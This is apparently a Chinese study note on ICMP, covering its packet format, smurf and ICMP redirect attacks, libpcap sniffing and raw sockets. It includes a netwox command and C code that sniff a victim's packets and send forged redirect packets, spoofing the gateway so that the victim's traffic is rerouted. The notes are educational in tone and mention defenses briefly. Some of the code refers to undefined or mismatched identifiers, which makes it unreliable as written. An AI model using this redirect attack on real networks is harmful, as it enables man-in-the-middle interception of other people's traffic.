ICMP数据报格式

https://zhuanlan.zhihu.com/p/58662573

头部type,code,checksum ,4字节,扩展字段,4字节

icmp作为数据部分封装到ip数据报中

IPv4中的常用type,ipv6与之不同

  • 0:Echo Reply 回显应答,返回数据 ping
  • 3:Destination Unreachable 不可达
  • 5:Redirect (change route) 重定向
  • 8:Echo Request 回显请求,ping
  • 11:time Exceeded for a Datagram,超时
    struct icmp
{
u_int8_t icmp_type; /* type of message, see below */
u_int8_t icmp_code; /* type sub code */
u_int16_t icmp_cksum; /* ones complement checksum of struct tcp、icmp是全部的校验和,ip的只有头部*/
union
{
u_char ih_pptr; /* ICMP_PARAMPROB */
struct in_addr ih_gwaddr; /* gateway address */
struct ih_idseq /* echo datagram */
{
u_int16_t icd_id;
u_int16_t icd_seq;
} ih_idseq;
u_int32_t ih_void;

smurf攻击

冒充target ip 广播icmp回显请求,target会收到大量icmp回显回复,从而忙于处理icmp而拒绝服务。

如何防御?

使主机或路由器不响应ICMP请求或广播,或使路由器不转发目的是广播地址的数据包

ICMP重定向攻击

代码:icmpRedirect.c

重定向:若路由器收到一个数据报,并发现该数据报存在一个比自己更好的下一跳路由,就会向主机发送重定向报文,让其更新转发表。

重定向只支持对单个目标主机的重定向,所以不会改变路由表,但可以改变route cache, netstate -rn --cache。

sudo netwox 86 -g new_gateway_ip -i old_gateway_ip

也可以通过raw socket编程,手动实现重定向。

如何防御:使用防火墙过滤icmp或手动关闭icmp redirect

基于libpcap的sniffer

头文件 pcap.h

基于libpcap,编译时加入 -lpcap

编程步骤:

  • 查找设备
  • 打开设备,获得一个把手(handle是系统提供的一个用于交互的接口)
  • 设置、应用filter
  • 抓包,pcap_next (只抓一 次) , pcap_loop (循环)
  • 分析数据包
  • 结束
	char errBuf[PCAP_ERRBUF_SIZE], * devStr;
/* 查找设备 */
devStr = pcap_lookupdev(errBuf);
/*捕获数据
* 参数:设备名称,最大捕获量(字节),是否置于混杂模式(混杂即捕获设备收发的所有数据),超时时间(0表示没有超时等待),错误信息
*/
pcap_t * handle = pcap_open_live(devStr, 65535, 1, 0, errBuf);
struct bpf_program filter;
char filterstr[50]={0};
sprintf(filterstr,"src host %s",Vic_IP); //将ip写入filterstr缓冲区 //编译filter
//参数:filter过滤器指针;filterstr过滤表达式; 1:表达式是否被优化;0:应用此过滤器的掩码
if (pcap_compile(handle, &filter, filterstr, 1, 0) == -1) {
fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(handle));
return 0;
}
//启用过滤器
if (pcap_setfilter(handle, &filter) == -1) {
fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(handle));
return 0;
}
//循环抓包
//-1表示循环次数,getPacket是回调函数,用于解析数据包,最后参数一般置为null
pcap_loop(handle, -1, getPacket, NULL);
//结束
pcap_freecode(&fp);
pcap_close(handle);

raw socket

参考https://zhuanlan.zhihu.com/p/59296026

头文件: #include <sys/socket.h> #include <netinet/in.h>

套接字(socket)允许在相同/不同的机器上的两个进程通信。基于VFS,是一种对多种协议提供支持的抽象。 位于网络协议栈和应用层之间。

  • socket(AF_INET, 类型,协议)

    AF_INET/PF_INET,表示从inet层(IP)开始,AF_PACKET表示从ETHERNET曾开始

    类型:STREAM对应TCP, DATAGRAM对应UDP, SOCK_RAW,原始套接字,只有它才允许手动填写对应协议的数据包。

    协议:IPPROTO_ICMP,IPPROTO_UDP,IPPROTO_IP,IPPROTO_RAW(可手动修改ip头)等,定义在netinet/in.h

  • sockaddr是对多种类型地址的抽象,编程时先用sockaddr_in写好,使用时强制转换为sockaddr

struct sockaddr {
unsigned short sa_family; //AF_INET(IP)
char sa_data[14];//端口号+IP地址
};
struct sockaddr_in {
short int sin_family; //AF_INET(IP)
unsigned short int sin_port; //网络字节序
struct in_addr sin_addr;
unsigned char sin_zero[8];//0
};
//inet_aton("200.200.200.200", &myaddr.sin_addr.s_addr);
struct in_addr {
unsigned long s_addr;//32位的IP地址,网络字节序
};

网络字节序,大端存储,高字节存在低地址

htons() Host to Network Short,port

htonl() Host to Network Long,ip

ntohl() Network to Host Long

ntohs() Network to Host Short

	//用struct sockaddr_in定义地址
struct sockaddr_in myaddr;
int s;
myaddr.sin_family = AF_INET;
myaddr.sin_port = htons(3456);
inet_aton("200.200.200.200", &myaddr.sin_addr.s_addr);
s = socket(PF_INET, SOCK_STREAM, 0);
//使用时,用struct sockaddr*强制类型转换
bind(s, (struct sockaddr*)myaddr, sizeof(myaddr));

定义包头

剥洋葱法,如以太网帧头+IP头+TCP头+TCP数据,使用强制类型转换获取需要的数据

头文件

#include <net/ethernet.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
/* Ethernet header */
struct ethernet_header{
u_int8_t ether_dhost[ETHER_ADDR_LEN]; /* destination host address */
u_int8_t ether_shost[ETHER_ADDR_LEN]; /* source host address */
u_int16_t ether_type; /* IP? ARP? RARP? etc */
}; /* IP header */
struct ip_header
{
#ifdef WORDS_BIGENDIAN
u_int8_t ip_version:4;
u_int8_t ip_header_length:4;
#else
u_int8_t ip_header_length:4;
u_int8_t ip_version:4;
#endif
u_int8_t ip_tos;
u_int16_t ip_length;
u_int16_t ip_id;
u_int16_t ip_off;
u_int8_t ip_ttl;
u_int8_t ip_protocol;
u_int16_t ip_checksum;
struct in_addr ip_source_address;
struct in_addr ip_destination_address;
};
#define IP_HL(ip) (((ip)->ip_vhl) & 0x0f)
#define IP_V(ip) (((ip)->ip_vhl) >> 4) /* TCP header */
typedef u_int16_t tcp_seq; struct tcp_header{
u_int16_t th_sport; /* source port */
u_int16_t th_dport; /* destination port */
tcp_seq th_seq; /* sequence number */
tcp_seq th_ack; /* acknowledgement number */
u_int8_t th_offx2; /* data offset, rsvd */
#define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4)
u_int8_t th_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_ECE 0x40
#define TH_CWR 0x80
#define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
u_int16_t th_win; /* window */
u_int16_t th_sum; /* checksum */
u_int16_t th_urp; /* urgent pointer */
}; /*icmp*/
struct icmp_header
{
u_int8_t icmp_type;
u_int8_t icmp_code;
u_int16_t icmp_checksum;
struct in_addr icmp_gateway_addr; //u_int16_t icmp_identifier;
//u_int16_t icmp_sequence;
}; /* ethernet headers are always exactly 14 bytes [1] */
#define SIZE_ETHERNET 14
/* Ethernet addresses are 6 bytes */
#define ETHER_ADDR_LEN 6

解析数据包

void getPacket(u_int8_t * arg, const struct pcap_pkthdr * pkthdr, const u_int8_t * packet)
{
static int count = 1; //计数
int sockfd,res;
int one = 1;
int *ptr_one = &one; /* 包头 */
const struct ethernet_header *ethernet; /* The ethernet header [1] */
const struct ip_header *ip; /* The IP header */
const struct tcp_header *tcp; /* The TCP header */
const char *payload; /* Packet payload */ int ipHeaderLen;
int tcpHeaderLen;
printf("\nPacket number %d:\n", count++);
printf("Packet length: %d\n", pkthdr->len); /* define ethernet header */
ethernet = (struct ethernet_header*)(packet);
/* ip header */
ip = (struct ip_header*)(packet + SIZE_ETHERNET);
ipHeaderLen = (ip->ip_header_length)*4; //IP头长度的单位是4字节
if (ipHeaderLen < 20) {
printf(" * Invalid IP header length: %u bytes\n", size_ip);
return;
}
/* print source and destination IP addresses */
printf(" From: %s\n", inet_ntoa(ip->ip_source_address));
printf(" To: %s\n", inet_ntoa(ip->ip_destination_address));
/*//tcpHeaderLen = (struct tcp_header*)(packet + SIZE_ETHERNET+ipHeaderLen);
if(tcpHeaderLen<20)
{
printf(" * Invalid TCP header length: %u bytes\n", size_ip);
return;
}*/
//创建raw socket,手动填充icmp部分
if((sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0)
{
printf("create sockfd error\n");
exit(-1);
}
//开启IP_HDRINCL选项,手动填充IP头
res = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL,ptr_one, sizeof(one));
if(res < 0)
{
printf("error--\n");
exit(-3);
}
//重定向攻击
icmp_redirect(sockfd,ip_packet);
close(sockfd);
return;
}

重定向

/*重定向攻击*/
void icmpRedirect(int sockfd,const unsigned char * packet_data){
struct ip_header *ip;
struct icmp_header *icmp;
//设定好数据报:ip头,icmp头,icmp数据
struct packet_struct
{
struct iphdr ip;
struct icmphdr icmp;
char datas[28];
}packet; //ip头 20字节
packet.ip.version = 4;
packet.ip.ihl = 5;
packet.ip.tos = 0; //服务类型
packet.ip.tot_len = htons(56); //host to short 56=20+8+28
packet.ip.id = getpid();
packet.ip.frag_off = 0;
packet.ip.ttl = 255;
packet.ip.protocol = IPPROTO_ICMP;
packet.ip.check = 0;
packet.ip.saddr = inet_addr(Ori_Gw_IP); //伪造网关发送ip报文
packet.ip.daddr = inet_addr(Vic_IP); //把重定向包发给受害者 //icmp头 8字节
packet.icmp.type = ICMP_REDIRECT;//5
packet.icmp.code = ICMP_REDIR_HOST;//0
packet.icmp.checksum = 0;
packet.icmp.un.gateway = inet_addr(Redic_IP);
struct sockaddr_in dest = {
.sin_family = AF_INET,
.sin_addr = {
.s_addr = inet_addr(Vic_IP)
}
};
//将抓到的IP包的前28字节 ,作为icmp数据
memcpy(packet.datas,(packet_data + SIZE_ETHERNET),28);
packet.ip.check = checksum(&packet.ip,sizeof(packet.ip));
packet.icmp.checksum = checksum(&packet.icmp,sizeof(packet.icmp)+28); //sendto用于非可靠连接的数据数据发送,如UDP, 接收数据用recvfrom
sendto(sockfd,&packet,56,0,(struct sockaddr *)&dest,sizeof(dest));
printf("send icmp redirect\n");
}

参考:

https://zhuanlan.zhihu.com/p/59161220

《TCP/IP详解》

《UNIX网络编程》

ICMP和重定向攻击的更多相关文章

  1. ICMP路由重定向攻击

    ICMP介绍 ICMP(Internet Control Message Protocol)Internet控制报文协议.它是TCP/IP协议簇的一个子协议,用于在IP主机.路由器之间传递控制消息.控 ...

  2. 重新整理 .net core 实践篇————重定向攻击[三十九]

    前言 简单介绍一下重定向攻击. 正文 攻击思路: 看着上面挺复杂的,其实是一些很简单的步骤. 攻击者通过某些手段,让用户打开了一个好站点,打开的这个地址里面带有重定向信息,重定向信息就是自己伪造的站点 ...

  3. 实验二:ICMP重定向攻击

    -:实验原理 ICMP重定向信息是路由器向主机提供实时的路由信息,当一个主机收到ICMP重定向信息时,它就会根据这个信息来更新自己的路由表.由于缺乏必要的合法性检查,如果一个黑客想要被攻击的主机修改它 ...

  4. TCP/IP网络协议攻击

    kali视频学习请看 http://www.cnblogs.com/lidong20179210/p/8909569.html 这部分涉及: ARP缓存欺骗攻击 ICMP重定向攻击 SYN FLOOD ...

  5. FreeBSD_11-系统管理——{Part_0-基础}

    Tips: sysctl -d kern.maxvnodes #查看系统控制选项的含义 true > file #清空文件内容 alias ls 'ls -I(大写i)' #取消 root 的 ...

  6. ICMP重定向及其攻防技术

    1.ICMP重定向概念: ICMP重定向技术,是用来提示主机改变自己的主机路由从而使路由路径最优化的一种ICMP报文.其概念理解的要义是原主机路由不是最佳路由,而其默认网关提醒主机优化自身的主机路由而 ...

  7. Linux编程之ICMP洪水攻击

    我的上一篇文章<Linux编程之PING的实现>里使用ICMP协议实现了PING的程序,ICMP除了实现这么一个PING程序,还有哪些不为人知或者好玩的用途?这里我将介绍ICMP另一个很有 ...

  8. 分布式拒绝服务攻击 DDoS

    分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒 ...

  9. 中间人攻击(MITM)之数据截获原理

    中间人攻击(MITM)之数据截获原理 - The data interception principle of the man in the middle attack (MITM) 交换式局域网中截 ...

随机推荐

  1. Python之数据分析工具包介绍以及安装【入门必学】

    前言本文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理. 首先我们来看 Mac版 按照需求大家依次安装,如果你还没学到数据分析,建议你 ...

  2. 大数据学习笔记——Hadoop编程实战之HDFS

    HDFS基本API的应用(包含IDEA的基本设置) 在上一篇博客中,本人详细地整理了如何从0搭建一个HA模式下的分布式Hadoop平台,那么,在上一篇的基础上,我们终于可以进行编程实操了,同样,在编程 ...

  3. 【Java Web开发学习】Spring4条件化的bean

    [Java Web开发学习]Spring4条件化的bean 转载:https://www.cnblogs.com/yangchongxing/p/9071960.html Spring4引入了@Con ...

  4. 《一头扎进》系列之Python+Selenium框架设计篇3- 价值好几K的框架,狼来了,狼来了....,狼没来,框架真的来了

    1. 简介 前边宏哥一边一边的喊框架,就如同一边一边的喊狼来了!狼来了!.....这回是狼没有来,框架真的来了.从本文开始宏哥将会一步一步介绍,如何从无到有地创建自己的第一个自动化测试框架.这一篇,我 ...

  5. CSS中@support的用法

    这段时间一直在调试浏览器的兼容性问题,了解到了@support的这个属性,记录下: CSS中的@support主要是用于检测浏览器是否支持CSS的某个属性,其实就是条件判断,如果支持某个属性,你可以写 ...

  6. Please ensure the argon2 header and library are installed

    在CentOS上安装libargon2和libargon2-devel即可 yum install -y libargon2 libargon2-devel

  7. 【转】CAP 定理的含义

    原文链接:CAP 定理的含义 作者: 阮一峰 日期: 2018年7月16日 分布式系统(distributed system)正变得越来越重要,大型网站几乎都是分布式的. 分布式系统的最大难点,就是各 ...

  8. ASP.NET Aries 高级开发教程:表单检测字段是否已存(番外篇)

    前言: 昨天刚好有人问了这个问题,因此就针对这个问题,补上一篇吧. 正文: 如图:在用户编辑列表中,用户名是会自动检测是否已存在的. 具体对应的Html内容如下: <label><e ...

  9. 第2章:C++泛型机制的基石:数据类型表——《C++泛型:STL原理和应用》读书笔记整理

    第二章:C++泛型机制的基石--数据类型表 2.1 类模板的公有数据类型成员 2.1.1 类的数据类型成员   C++类中不仅可以定义数据成员和函数成员,而且还可以定义数据类型成员.在泛型设计中,类的 ...

  10. 【服务器踩坑】SSMS链接Ubuntu上的SQL Server 2019 报错 TCP Provider: Error code 0x2746

    昨天在一台Ubuntu18.04.2 上安装了SQL Server 2019 for Linux 服务正常启动了,但是却无法通过命令行工具或者远程Windows机器上的SSMS链接. SSMS错误是 ...